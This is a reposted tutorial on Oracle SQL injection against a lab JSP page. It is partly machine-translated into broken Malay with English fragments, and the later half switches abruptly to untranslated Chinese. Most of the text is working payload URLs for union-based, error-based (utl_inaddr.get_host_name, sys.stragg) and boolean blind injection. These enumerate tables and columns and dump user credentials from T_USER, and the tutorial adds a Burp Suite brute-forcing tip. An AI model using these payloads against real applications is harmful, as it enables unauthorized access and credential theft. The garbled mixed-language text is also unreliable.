Rumah > pangkalan data > Oracle > teks badan

Ajar anda langkah demi langkah untuk menguasai sepenuhnya butiran kecil suntikan Oracle

WBOY
Lepaskan: 2022-01-21 18:23:36
ke hadapan
2452 orang telah melayarinya

Artikel ini membawakan anda pengetahuan yang berkaitan tentang suntikan Oracle, termasuk langkah asas suntikan dan pelaporan ralat saya harap ia akan membantu semua orang.

Ajar anda langkah demi langkah untuk menguasai sepenuhnya butiran kecil suntikan Oracle

1 Kemahiran asas Oracle untuk mendapatkan data

1 Jadual khas

• dwi jadual

◆ Ia. ialah jadual maya yang digunakan untuk membentuk peraturan sintaks bagi Oracle menjamin bahawa akan sentiasa ada satu rekod dalam dwi.

• jadual pengguna_jadual

◆ Lajur nama_jadual jadual ini menyimpan semua jadual dalam pangkalan data semasa.

• jadual_lajur_tab pengguna

◆ Nama_lajur jadual ini menyimpan semua lajur jadual.

2. Pertanyaan Oracle perlu membawa nama jadual

• Contohnya, pilih * daripada xxx (ada jadual universal: jadual dwi).

3 Jika subkueri satu baris mengembalikan berbilang baris, anda perlu menggunakan where rownum=1 untuk menyeragamkannya

• rownum ialah nombor jujukan pseudo, sentiasa bermula dari 1.

• Urutan pangkalan data oracle membaca data daripada fail data atau penimbal.

• Apabila ia memperoleh rekod pertama, nilai rownum ialah 1, rekod kedua ialah 2, dan seterusnya.

4. Beberapa fungsi terbina dalam diperlukan untuk suntikan seterusnya asas

1. length() penggunaan:

length(char): return The panjang tali.

2. COUNT(*) penggunaan:

Fungsi COUNT(*), mengembalikan bilangan baris yang dipilih dalam pilihan tertentu.

3. ascii() penggunaan:

ascii(char) bermaksud menukar aksara kepada kod ASCII.

4. Penggunaan SUBSTR:

SUBSTR(rentetan sumber, kedudukan permulaan carian, [panjang]) Nilai pulangan ialah kedudukan permulaan yang ditentukan dalam rentetan sumber dan The panjang tali.

5 Penggunaan INSTR:

INSTR (rentetan sumber, rentetan untuk ditemui, bermula dari aksara mana, nombor jujukan yang sepadan untuk dicari ) mengembalikan kedudukan yang ditemui, atau 0 jika tidak ditemui Susunan carian lalai adalah dari kiri ke kanan. Apabila kedudukan permulaan ialah nombor negatif, carian bermula dari kanan. Jika kedudukan permulaan ialah 0, nilai pulangan ialah 0.

Terdapat juga beberapa fungsi yang akan diterangkan apabila digunakan dalam artikel seterusnya.


2. Langkah asas untuk setiap jenis suntikan asas

Persekitaran ialah halaman web mudah jsp Oracle pada VMware dengan win2003 sebagai sistem.

1. Suntikan pertanyaan bersama Oracle

1 Cari titik suntikan

Langkah ini jelas dalam persekitaran eksperimen saya, tetapi dalam In a real. persekitaran, anda masih perlu mencari titik suntikan yang sesuai Langkah asas ialah mencari kotak input yang berinteraksi dengan pangkalan data, kemudian tentukan jenis data kotak input dan kaedah penutupan datanya, dan kemudian tambahkan beberapa pernyataan penghakiman. untuk memeriksa sama ada terdapat suntikan.

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
Salin selepas log masuk

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
Salin selepas log masuk

Selepas menambah sekeping data secara manual, dengan membina muatan yang berbeza, kami mendapati bahawa URL telah disuntik Terdedah, muatan yang kami masukkan mencapai kesannya.

3. Tentukan bilangan lajur

Pangkalan data Oracle juga menggunakan susunan mengikut untuk menentukan bilangan lajur dalam jadual data pertanyaan mestilah lajur ungkapan pilih -senarai Nombor, dalam persekitaran sebenar, bilangan lajur jadual mungkin besar, jadi sebaiknya gunakan kaedah dikotomi dalam menilai bilangan lajur.

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
Salin selepas log masuk

Halaman adalah normal apabila tertib sebanyak 3, tetapi ralat berlaku apabila tertib sebanyak 4, jadi bilangan lajur dalam jadual pertanyaan ialah 3

4.Oracle联合查询

  跟之前的学习的MySQL以及SQL server一样,Oracle同样通过union 来实现联合查询注入,并且不用跟SQL server联合查询注入一样添加all,仅只用union就行,但是依旧要跟SQL server联合查询注入一样判断后续各列的数据类型。

  接下里我们首先查看回显位

http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
Salin selepas log masuk

  因为在Oracle数据库中的select查询语句必须跟上查询列表,所以在union后面的select查询语句我们必须跟上from dual ,dual表是Oracle数据库中自带的虚拟表,可当万能用。

  我们看到三个列全部会回显在页面上

  下面我们还要通过更改null判断各个回显位的数据类型

http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
Salin selepas log masuk

 判断出1号位的数据类型位字符型,接下来我们就可以通过构造不同的payload替换'1',来查询到我们想要的数据

select user from dual 获取用户名

http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
Salin selepas log masuk

select banner from sys.v_$version where rownum=1 获取版本

http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
Salin selepas log masuk

 借助联合查询和默认表 user_tables获取当前数据库所有表名(第一行的)。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
Salin selepas log masuk

 查看下一行表名

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
Salin selepas log masuk

没有其他的表,只有T_USER

如果可以显示多行数据,则可以通过以下代码查看到T-USER所有的列名,不能就只能通过跟上面类似的方法 用“<>”添加附加条件,去除已经查看到的数据然后查看下一行数据

http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
Salin selepas log masuk

获取T_USER表中字段为SNAME、SUSER、SPWD,然后获得他们的值

因为之前判断过1,2,3号位都回显,且都为字符型,所以下面一次性查询,如果只有一个也可以一个一个的查询

10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
Salin selepas log masuk

获取数据

  因为靶场比较简陋,所以实验过程只是体现自己的注入思路,并不代表T_USER表中的东西就是后台账号之内的敏感数据,真实环境中,你查询的数据可以是任何你能查询到数据。

2.Oracle报错注入

1.寻找注入点

   当你发现你找到的注入点在输入错误数据会反弹数据库原始报错信息时,我们就可以使用报错注入。然后前面的步骤基本一致,都是先找注入点,然后分析闭合方式。

2.报错注入

Oracle报错注入——类型转换错误和报错函数。

payload:1=utl_inaddr.get_host_name((SQL语句))

查询结果: ORA-29257: 未知的主机 结果

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
Salin selepas log masuk

T_USER即我们想要查询的表名,如果不止一个也可以通过上面联合查询注入中提到的方法,在sql语句中添加附加'<>'条件遍历表名。

跟联合查询用到的相同的语句查到接下来的列名,数据

下面我们可以用到一个函数来改变之前遍历每个数据的麻烦:sys.stragg()在单行中获取所有行信息。

10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
Salin selepas log masuk

  ||是Oracle中的字符拼接符号,在以上payload使用的时候需要将其更改为%7C%7C,即它的url编码

  我们通过拼接其他符号以及sys,stragg()函数使我们能够清晰的分辨数据表中这个字段每一行的数据,在之前的联合查询注入同样可以使用到这个函数,省去遍历的麻烦

3.Oracle布尔盲注

1.寻找注入点

使用条件:HTTP返回包中没有执行结果的数据和报错信息。

当你发出你构造的payload时,页面并没有产生变化,即说明你的payload正确。

跟上面两种注入一样寻找注入点。

Oracle盲注核心——字符串截取函数、ascii转换函数、条件判断语句。

要注意的是在截断函数中长度是包含开始截取位置那一位的。

2.Oracle布尔盲注

步骤跟之前的顺序是一致的 拿表名-列名-数据,这里就不一一列举了,主要说重点。

我们在拿一个数据时,比如说表名,我们需要先判断他的长度

10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
Salin selepas log masuk

 我们可以先将=改为>或者<然后通过二分法逐步的缩小范围,最终确定表名一共有6位。

http://10.1.5.34:8080/SqlInjection/selcet?sname=1&#39; and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
Salin selepas log masuk

然后就用截取函数 先截取表名的第一个字符,然后转译为ascii码,同样可以通过>或者<逐渐缩小范围最终确定表名第一个字符ascii码为84 即为T,以此类推获得完整表名

如果会使用burpsuit的话,可以通过burpsuit暴力破解,设置截取位置以及等于号后面的数字来跑出表名。

所有数据均可使用同样的方法获取

推荐教程:《Oracle教程

Atas ialah kandungan terperinci Ajar anda langkah demi langkah untuk menguasai sepenuhnya butiran kecil suntikan Oracle. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:csdn.net
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan